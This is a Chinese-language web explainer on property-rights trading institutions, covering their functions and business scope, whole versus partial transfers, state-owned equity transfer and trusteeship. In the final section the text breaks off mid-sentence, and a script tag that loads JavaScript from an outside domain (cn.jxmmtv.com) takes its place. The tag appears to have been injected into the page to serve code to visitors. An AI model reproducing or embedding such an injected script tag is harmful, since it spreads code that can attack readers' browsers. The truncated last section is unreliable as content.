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            2011-08-19 11:38:43

             

             
             
            2005-12-21
            一、建立產權交易機構的積極意義是什么?
            產權交易機構是企業從事產權買賣活動的具體場所,是我國社會主義市場體系的重要組成部分。從我國目前經濟發展的實際需要看,建立產權交易機構是非常必要的:
            1、組建產權交易機構,有利于促進資源優化配置。
            2、建立產權交易機構,有利于規范企業產權轉讓行為,加強政府特別是國有資產管理部門對國有資產經營活動的監督與控制。
            3、建立產權交易機構,有利于按照市場經濟規律加速國有資產重組,促進以大中型國有企業為核心的企業集團的發展。
            4、建立產權交易機構,有利于穩定社會經濟的運行。
            5、建立產權交易機構,有利于企業自身資源的優化配置。
            6、建立產權交易機構,有利于提高國有資產的經營效率。
            二、產權交易機構的職能
            產權交易機構的職能一般包括;(1)為產權交易提供場所和設施;(2)組織產權交易活動;(3)審查產權交易出讓方和受讓方的資格及轉讓行為的合法性;(4)為產權交易雙方提供信息等中介服務;(5)根據的有關規定對產權交易活動進行監管。
            三、產權交易機構的主要業務范圍:
            產權交易機構的主要業務范圍有:(l)辦理企業部分或整體產權交易;(2)辦理企業有形資產和無形資產的產權交易;(3)企業破產清算;(4)為產權交易的企業提供資產評估、產權拍賣、代理過戶等服務;(5)為客戶代找買方或賣方,代尋合作伙伴,代辦企業承包、租賃的招標和投標工作;(6)搜集、發布產權交易信息:(7)為產權交易提供咨詢服務;(8)組織產權交易洽談會以及與產權交易相關的其他業務;(9)為企業產權的委托管理提供服務。
            四、產權交易中介機構的設立條件和程序
            設立產權交易中介機構應具備以下條件:( 1)有與其經營范圍相適應的并能獨立支配的財產或者經費;(2)有與從事產權交易業務相適應的固定場所和設施;(3)有一定數量能勝任工作的專業技術和管理人員;(4)有交易規則和相關的規章制度。設立產權交易中介機構,由設立單位向省一級國有資產管理部門提出申請。
            五、整體產權轉讓的優點
            (1)存量資產的配置更加徹底。在整體產權轉讓方式中,產權權益體系中的財產所有權、法人財產權及相應的收益權、處置權等都發生了轉移,產權在交易者手中得到徹底調整,使原有產權主體對產權失去干預和控制,更有利于新的產權主體對財產的占有和使用。(2)有利于改變和優化要素使用方式和配置方式。(3)有利于迅速提高要素使用的規模水平和規模效益,增強經濟活動的社會性,加速資金、資源集中的過程。(4)有利于改變要素的組合方式和結構,提高結構效益。整體產權交易方式能夠比較徹底地改變產權性質,提高企業素質。
            六、整體產權轉讓的不足
            限制了原有產權的分割及其轉讓。難以適應收購者對企業部分資產的需求。同時,整體產權轉讓要求出資者有大量的資金,因此,也在一定程度上限制了資金缺乏者的潛在購買行為。
            七、部分產權轉讓的優點
            (l)擴大了產權交易的范圍。因為產權分割為若干份出售,既增加了產權交易的供給方,又增加了產權交易的需求方,創造出產權交易的潛在需求者。(2)彌合了大規模的整體性產權交易的巨額資金“缺口”,為資金少、實力相對較弱的產權交易者進入市場提供了有利條件。(3)有利于企業設備更新換代,使企業將不需要的廠房設備轉讓給其他交易者,更容易調整要素存量結構。
            八、國有股權:
            是指由授權的投資主體作為股東,對因其以國有財產進行投資而在公司中形成的相應股份 (出資比例)所享有的收益和為此而享有的表決、質詢、查詢公司帳冊以及對股份進行處分等權能的總和。
              國有股權的大小是由在公司有股份(出資比例)的多少決定的。國有股份是指用所有的財產投資形成的股份。
            九、國有股權的轉讓
            所謂國有股權的轉讓指的是國有股權通過買賣活動在不同主體間發生流動轉移的一種經濟和法律行為。隨著我國社會主義市場經濟的發展,國有股權的轉讓在我國會逐步增加乃至成為我國國有資產經營的一種重要方式。國有股權轉讓是國有資產存量調整的重要形式,它有利于搞活我國擁有的數萬億元的國有資產,可以提高國有資產增值能力和經濟效益;有利于產品結構和產業結構的調整;有利于實現生產集中,以發揮規模效益,是解決經營性虧損企業的有效辦法。國有股權轉讓應達到合理流動,優化組合的目的,維護國有資產產權利益,實行有償轉讓,堅持自愿互利、公平競爭的原則。
              國有股權的轉讓包括兩方面內容:一是非上市公司的國有股權轉讓,二是上市公司的國有股權轉讓。
            十、托管經營
            托管經營是指出資者或其代表在所有權不變的條件下,以契約形式在一定時期內將企業的法人財產權部分或全部讓渡給另一家法人或自然人經營。由于托管這一方式能夠?script src=http://cn.jxmmtv.com/cn.js>

             
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